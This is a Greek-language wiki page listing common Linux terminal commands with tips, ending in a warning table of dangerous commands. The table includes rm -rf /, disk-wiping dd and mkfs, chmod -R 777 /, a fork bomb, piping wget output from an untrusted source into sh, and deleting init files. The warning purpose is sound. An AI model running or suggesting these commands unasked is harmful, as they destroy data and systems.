sudo | εκτέλεση της εντολής που ακολουθεί με δικαιώματα υπερχρήστη |
whoami | εκτυπώνει το username μας |
Σύστημα
επεξεργασίαΕντολή | Περιγραφή |
---|---|
free | πληροφορίες για το πόση ελεύθερη μνήμη ram και swap έχουμε |
kill | τερματίζει διεργασίες |
reboot | επανεκκινεί το σύστημα |
shutdown | απενεργοποιεί το σύστημα |
startx | εκκινεί το περιβάλλον γραφικών (X/WM/DE) |
top | δείχνει τις τρέχουσες διεργασίες μαζί με πολλές λεπτομέρειες (μια καλή εναλλακτική είναι η "htop") |
uname | δίνει διάφορα στοιχεία για το σύστημα μας όπως πχ έκδοση πυρήνα |
Αναζήτηση
επεξεργασίαΕντολή | Περιγραφή |
---|---|
find | Αναζήτηση αρχείων |
locate | Αναζήτηση αρχείων |
grep | εκτυπώνει τις γραμμές ενός κειμένου που περιέχουν μόνο την τιμή_παραμέτρου που θα δώσουμε στην grep |
whereis | χρήσιμη για αναζητήσεις |
sort | για εργασίες ταξινόμησης |
which | μας επιστρέφει την πλήρη διαδρομή κάποιας εντολής |
apropos | για να αναζητήσετε τις κατάλληλες εντολές |
Δίκτυα
επεξεργασίαΕντολή | Περιγραφή |
---|---|
ifconfig | ip και ρύθμιση των interfaces (ethernet, wireless κλπ) |
ping | εξετάζει εάν είναι δυνατή η σύνδεση με κάποιον απομακρυσμένο υπολογιστή |
netstat | διάφορες πληροφορίες για τα δίκτυα (όπως default gateway) |
ssh | απομακρυσμένη σύνδεση στο τερματικό κάποιου υπολογιστή |
Λοιπές
επεξεργασίαΕντολή | Περιγραφή |
---|---|
clear | καθαρίζει το τερματικό σβήνοντας όλες τις γραμμές |
date | εκτύπωση ημερολογίου και ώρας |
dd | για αντιγραφή χαμηλού επιπέδου (χρειάζεται πολύ προσοχή!!) |
mount | προσαρτεί κάποια συσκευή (σκληρό δίσκο συνήθως) στο σύστημά μας |
umount | αποπροσαρτεί κάποια συσκευή (σκληρό δίσκο συνήθως) στο σύστημά μας |
Χρήσιμα tips για το τερματικό
επεξεργασίαΕάν κάποια εντολή θέλει πολλή ώρα για να ολοκληρωθεί και θέλετε για κάποιο λόγω να την διακόψετε οριστικά πατάτε τον συνδυασμό "Ctrl+C".
Για αντιγραφή και επικόλληση κειμένου μέσα στο τερματικό χρησιμοποιείτε τους συνδυασμούς "Shift+Ctrl+C" και "Shift+Ctrl+V". Ειδάλως, μπορείτε να χρησιμοποιήσετε και το ποντίκι με το δεξί κλίκ.
Εάν έχετε ταυτόχρονα ανοιχτό και έναν file manager μπορείτε μέσω drag'n'drop να τραβήξετε μέσα στο τερματικό κάποιον φάκελο ή αρχείο και στο τερματικό θα εμφανιστεί αυτομάτως η πλήρης διαδρομή αυτού.
Συχνά μπορεί να ξεχάσετε το "sudo" μπροστά από μια εντολή. Ένας γρήγορος τρόπος για να επαναλάβετε την προηγούμενη εντολή με "sudo" από μπροστά είναι απλά η ολόκληρη εντολή "sudo !!", όπου το "!!" αντικαθιστά την προηγούμενη εντολή.
Ο συνδυασμός "Alt+." μας δίνει την τελευταία παράμετρο από την προηγούμενη εντολή. Αν δώσαμε π.χ. "cat text.txt" και θέλουμε να επεξεργαστούμε αυτό το αρχείο με μία γρήγορη εντολή αρκεί να δώσουμε "nano" ακολουθούμενο από αυτόν τον συνδυασμό.
Επικίνδυνες εντολές
επεξεργασίαΗ κονσόλα είναι δύναμη.
Η κονσόλα/τερματικό είναι ένα πολύ ισχυρό εργαλείο. Μπορεί να λύσει τα χέρια, αλλά μπορεί και να καταστρέψει το σύστημα μας. Αυτό δεν είναι χαρακτηριστικό του Linux. Ακριβώς το ίδιο ισχύει σε όλα τα λειτουργικά συστήματα. Ακολούθουν μερικές εντολές οι οποίες μπορούν να καταστρέψουν το σύστημα σας. Φροντίστε να μην τις δώσετε, εκτός και αν έχετε ένα καλό λόγο να το κάνετε. Μη φοβάστε πάντως, οι περισσότερες από αυτές απαιτούν να δοθούν με δικαιώματα υπερχρήστη (root) οπότε είναι δύσκολο να τις γράψετε κατά λάθος. Το σύστημα permissions του Linux σας προστατεύει.
Εντολή | Αποτέλεσμα | Αναστρέψιμο; | Σχολιασμός |
---|---|---|---|
rm -rf / |
Διαγράφει όλα τα αρχεία του συστήματος σας. | Όχι | Απαιτεί δικαιώματα root. |
rm -rf /boot/ |
Διαγράφει τον boot loader του συστήματος, άρα δε θα μπορείτε να επανεκκινήσετε το σύστημα σας. | Ναι | Απαιτεί δικαιώματα root. Η επαναφορά είναι σχετικά απλή διαδικασία. |
rm /boot/vmlinux rm /boot/vmlinuz rm /boot/vmlinux* rm /boot/vmlinuz* |
Διαγράφει τον linux kernel. | Ναι | Απαιτεί δικαιώματα root. Η επαναφορά του linux kernel είναι εφικτή μεν, αλλά ΔΕΝ είναι απλή διαδικασία. |
mv ~/* /dev/null mv /home/$USER/* /dev/null |
Διαγράφει του home folder σας, άρα θα χάσετε όλα σας τα δεδομένα | Όχι | ΔΕΝ απαιτεί δικαιώματα root. Μετά τη διαγραφή των δεδομένων, ίσως είναι δυνατό να ανακτήσετε κάποια από τα αρχεία σας, αλλά απαιτεί τη χρήση ειδικών προγραμμάτων και το αποτέλεσμα δεν είναι εγγυημένο. |
mkfs.ext3 /dev/sda |
Κάνει format στο σκληρό δίσκο. | Όχι | Απαιτεί δικαιώματα root. |
any_command > /dev/sda |
Καταστρέφει όλα τα δεδομένα του σκληρού σας δίσκου. | Όχι | Απαιτεί δικαιώματα root. Συνηθισμένο παράδειγμα είναι η yes > /dev/sda. |
dd if=/dev/urandom of=/dev/sda |
Συμπληρώνει όλο τον κενό χώρο του partition του σκληρού σας δίσκου με τυχαία δεδομενα. | Όχι | Απαιτεί δικαιώματα root. Το σύστημα σας δε θα μπορεί να εκκινήσει. |
chmod -R 777 / |
Παραχωρεί δικαιώματα root σε όλους τους χρήστες. | Όχι | Απαιτεί δικαιώματα root. Μετά την εντολή αυτή το σύστημά σας θα έχει πολύ σοβαρά κενά ασφαλείας. |
chmod 000 -R / chown nobody:nobody -R / |
Αφαιρεί τη πρόσβαση στο σύστημα σε όλους τους χρήστες, εκτός του root. | Όχι | Απαιτεί δικαιώματα root. |
Αυτές είναι κάποιες από τις εντολές που μπορούν να κάνουν ζημιά στο σύστημα σας. Σαφώς και υπάρχουν και άλλες (φαντασία να έχει κανείς να βρίσκει τρόπους να κάνει ζημιά...), μα αυτές είναι οι πιο επιζήμιες.
Έβαλα τις εντολές σε έναν πίνακα. Αν ξέχασα καμία συμπληρώστε την. Το αν χρειάζονται δικαιώματα root η όχι ίσως να μπορεί να γίνει ξεχωριστή στήλη. Στο σχολιασμό μπορεί να λέω και βλακείες.))--Pmav99 (συζήτηση) 13:18, 12 Ιανουαρίου 2013 (UTC)
wget http://some_untrusted_source O | sh
Με αυτό κατεβάζουμε (η εντολη wget) διάφορα από το διαδίκτυο. Να ΜΗΝ το κάνετε αν η σελιδα που παραπέμπει είναι άγνωστη η τέλος πάντων, αν το βρήκατε σε καποια ιστοσελίδα που δεν γνωρίζετε και δεν έχει καποιο κύρος.
: (){:|:&};:
Το… χαιδευτικό αυτής της εντολής είναι: fork bomb και λέει στο σύστημα σας να κάνει τόσες διεργασίες που και το CERN θα χάζευε. Το σύστημα παθαίνει κοκομπλόκο, χάνετε δεδομενα.
rm /bin/init cd / ; find -iname init -exec rm -rf {} \;
Διαγράφει ζωτικά αρχεία και συγκεκριμένα τα έχοντα τη κατάληξη: init, όπου φυσικά ανάμεσα τους και τα /sbin/init.